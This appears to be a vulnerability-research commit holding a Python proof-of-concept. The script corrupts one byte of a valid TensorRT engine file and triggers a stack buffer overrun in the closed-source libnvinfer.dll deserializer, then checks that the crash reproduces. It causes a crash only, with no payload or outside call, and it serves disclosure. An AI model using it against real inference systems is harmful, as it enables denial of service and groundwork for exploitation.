treforbenbow commited on
Commit
f145112
·
verified ·
1 Parent(s): cf06784

Upload vuln009_standalone_poc.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. vuln009_standalone_poc.py +185 -0
vuln009_standalone_poc.py ADDED
@@ -0,0 +1,185 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ VULN-009: Stack Buffer Overrun in TensorRT Engine Deserializer
3
+ ================================================================
4
+ A single-byte mutation in the NGNE (engine graph) section of a valid
5
+ TensorRT engine file triggers STATUS_STACK_BUFFER_OVERRUN (0xC0000409)
6
+ during deserializeCudaEngine().
7
+
8
+ This indicates stack-based buffer overflow detected by Windows /GS stack
9
+ cookie protection. The crash occurs in the closed-source libnvinfer.dll
10
+ engine parser.
11
+
12
+ CWE: CWE-121 (Stack-based Buffer Overflow)
13
+ Distinct from VULN-006 (CWE-125, Out-of-bounds Read / ACCESS_VIOLATION)
14
+ Distinct from VULN-008 (CWE-369, Integer Divide-by-Zero)
15
+
16
+ To reproduce:
17
+ 1. python vuln009_standalone_poc.py build (builds valid + crash engines)
18
+ 2. python vuln009_standalone_poc.py crash (loads crash engine, triggers crash)
19
+ 3. python vuln009_standalone_poc.py verify (full verification)
20
+ """
21
+ import os, sys, struct, subprocess, time
22
+ import numpy as np
23
+
24
+ POC_DIR = os.path.dirname(os.path.abspath(__file__))
25
+ VALID_PATH = os.path.join(POC_DIR, "vuln009_valid.engine")
26
+ CRASH_PATH = os.path.join(POC_DIR, "vuln009_crash.engine")
27
+
28
+ # Crash offset and value (from full scan)
29
+ CRASH_OFFSET = 498
30
+ CRASH_VALUE = 0xFF
31
+ ORIGINAL_VALUE = 0x00
32
+
33
+
34
+ def cmd_build():
35
+ """Build valid engine, then create crash variant."""
36
+ import tensorrt as trt
37
+ from onnx import helper, TensorProto, numpy_helper
38
+
39
+ print("[*] Building valid BatchNorm TensorRT engine...")
40
+ bn_s = numpy_helper.from_array(np.ones(8, dtype=np.float32), name="bn_s")
41
+ bn_b = numpy_helper.from_array(np.zeros(8, dtype=np.float32), name="bn_b")
42
+ bn_m = numpy_helper.from_array(np.zeros(8, dtype=np.float32), name="bn_m")
43
+ bn_v = numpy_helper.from_array(np.ones(8, dtype=np.float32), name="bn_v")
44
+ g = helper.make_graph(
45
+ [helper.make_node("BatchNormalization", ["x", "bn_s", "bn_b", "bn_m", "bn_v"], ["output"])],
46
+ "batchnorm",
47
+ [helper.make_tensor_value_info("x", TensorProto.FLOAT, [1, 8, 4, 4])],
48
+ [helper.make_tensor_value_info("output", TensorProto.FLOAT, None)],
49
+ [bn_s, bn_b, bn_m, bn_v])
50
+ model = helper.make_model(g, opset_imports=[helper.make_opsetid("", 17)])
51
+ model.ir_version = 8
52
+
53
+ logger = trt.Logger(trt.Logger.WARNING)
54
+ builder = trt.Builder(logger)
55
+ network = builder.create_network(1 << int(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH))
56
+ parser = trt.OnnxParser(network, logger)
57
+ assert parser.parse(model.SerializeToString()), "Parse failed"
58
+ config = builder.create_builder_config()
59
+ config.set_memory_pool_limit(trt.MemoryPoolType.WORKSPACE, 256 << 20)
60
+ engine_bytes = builder.build_serialized_network(network, config)
61
+ assert engine_bytes, "Build failed"
62
+ engine_data = bytes(engine_bytes)
63
+
64
+ # Save valid engine
65
+ with open(VALID_PATH, "wb") as f:
66
+ f.write(engine_data)
67
+ print(f"[+] Valid engine: {VALID_PATH} ({len(engine_data)} bytes)")
68
+
69
+ # Verify it loads
70
+ runtime = trt.Runtime(logger)
71
+ engine = runtime.deserialize_cuda_engine(engine_data)
72
+ assert engine, "Valid engine failed to load"
73
+ print(f"[+] Valid engine loads OK")
74
+
75
+ # Create crash variant
76
+ mutated = bytearray(engine_data)
77
+ print(f"[*] Mutating byte at offset {CRASH_OFFSET}: 0x{engine_data[CRASH_OFFSET]:02x} -> 0x{CRASH_VALUE:02x}")
78
+ mutated[CRASH_OFFSET] = CRASH_VALUE
79
+
80
+ with open(CRASH_PATH, "wb") as f:
81
+ f.write(bytes(mutated))
82
+ print(f"[+] Crash engine: {CRASH_PATH} ({len(mutated)} bytes)")
83
+ print(f"[+] Build complete. Run 'python {os.path.basename(__file__)} crash' to trigger.")
84
+
85
+
86
+ def cmd_crash():
87
+ """Load the crash engine (will trigger STATUS_STACK_BUFFER_OVERRUN)."""
88
+ import tensorrt as trt
89
+
90
+ if not os.path.exists(CRASH_PATH):
91
+ print("[-] Crash engine not found. Run 'build' first.")
92
+ sys.exit(1)
93
+
94
+ print(f"[*] Loading crash engine: {CRASH_PATH}")
95
+ print(f"[*] Expecting STATUS_STACK_BUFFER_OVERRUN (0xC0000409)...")
96
+
97
+ logger = trt.Logger(trt.Logger.ERROR)
98
+ runtime = trt.Runtime(logger)
99
+ with open(CRASH_PATH, "rb") as f:
100
+ data = f.read()
101
+
102
+ # This call will crash with STATUS_STACK_BUFFER_OVERRUN
103
+ engine = runtime.deserialize_cuda_engine(data)
104
+ if engine:
105
+ print("[!] Engine loaded (unexpected - crash should have occurred)")
106
+ else:
107
+ print("[*] Engine rejected (no crash, but deserialization failed)")
108
+
109
+
110
+ def cmd_verify():
111
+ """Full verification: test in subprocess, confirm crash type."""
112
+ if not os.path.exists(VALID_PATH) or not os.path.exists(CRASH_PATH):
113
+ print("[-] Engine files not found. Run 'build' first.")
114
+ sys.exit(1)
115
+
116
+ print("[1] Testing valid engine...")
117
+ rc1 = _test_engine_subprocess(VALID_PATH)
118
+ print(f" Return code: {rc1}")
119
+ assert rc1 == 0, "Valid engine should load OK"
120
+
121
+ print("[2] Testing crash engine...")
122
+ rc2 = _test_engine_subprocess(CRASH_PATH)
123
+ print(f" Return code: {rc2}")
124
+
125
+ if rc2 == 3221226505:
126
+ print("[+] CONFIRMED: STATUS_STACK_BUFFER_OVERRUN (0xC0000409)")
127
+ print("[+] CWE-121: Stack-based Buffer Overflow")
128
+ print("[+] This is a DISTINCT vulnerability from VULN-006 (ACCESS_VIOLATION)")
129
+ elif rc2 == 3221225477:
130
+ print("[!] ACCESS_VIOLATION (0xC0000005) - different crash type")
131
+ else:
132
+ print(f"[?] Unexpected return code: {rc2}")
133
+
134
+ # Show diff
135
+ valid = open(VALID_PATH, "rb").read()
136
+ crash = open(CRASH_PATH, "rb").read()
137
+ diffs = [(i, valid[i], crash[i]) for i in range(min(len(valid), len(crash))) if valid[i] != crash[i]]
138
+ print(f"\n[3] Difference between valid and crash engines:")
139
+ for off, v, c in diffs:
140
+ print(f" Offset {off}: 0x{v:02x} -> 0x{c:02x}")
141
+
142
+ # Reproducibility test
143
+ print(f"\n[4] Reproducibility test (10 runs)...")
144
+ results = []
145
+ for i in range(10):
146
+ rc = _test_engine_subprocess(CRASH_PATH)
147
+ results.append(rc)
148
+ crash_count = sum(1 for r in results if r == 3221226505)
149
+ print(f" Stack overrun: {crash_count}/10 runs")
150
+ print(f" Return codes: {results}")
151
+
152
+
153
+ def _test_engine_subprocess(engine_path):
154
+ """Test engine loading in subprocess. Returns exit code."""
155
+ code = f"""
156
+ import tensorrt as trt
157
+ logger = trt.Logger(trt.Logger.ERROR)
158
+ runtime = trt.Runtime(logger)
159
+ with open(r"{engine_path}", "rb") as f:
160
+ engine = runtime.deserialize_cuda_engine(f.read())
161
+ print("OK" if engine else "FAIL")
162
+ """
163
+ try:
164
+ r = subprocess.run([sys.executable, "-c", code],
165
+ capture_output=True, text=True, timeout=15)
166
+ return r.returncode
167
+ except subprocess.TimeoutExpired:
168
+ return -999
169
+
170
+
171
+ if __name__ == "__main__":
172
+ if len(sys.argv) < 2:
173
+ print(f"Usage: python {os.path.basename(__file__)} [build|crash|verify]")
174
+ sys.exit(1)
175
+
176
+ cmd = sys.argv[1]
177
+ if cmd == "build":
178
+ cmd_build()
179
+ elif cmd == "crash":
180
+ cmd_crash()
181
+ elif cmd == "verify":
182
+ cmd_verify()
183
+ else:
184
+ print(f"Unknown command: {cmd}")
185
+ sys.exit(1)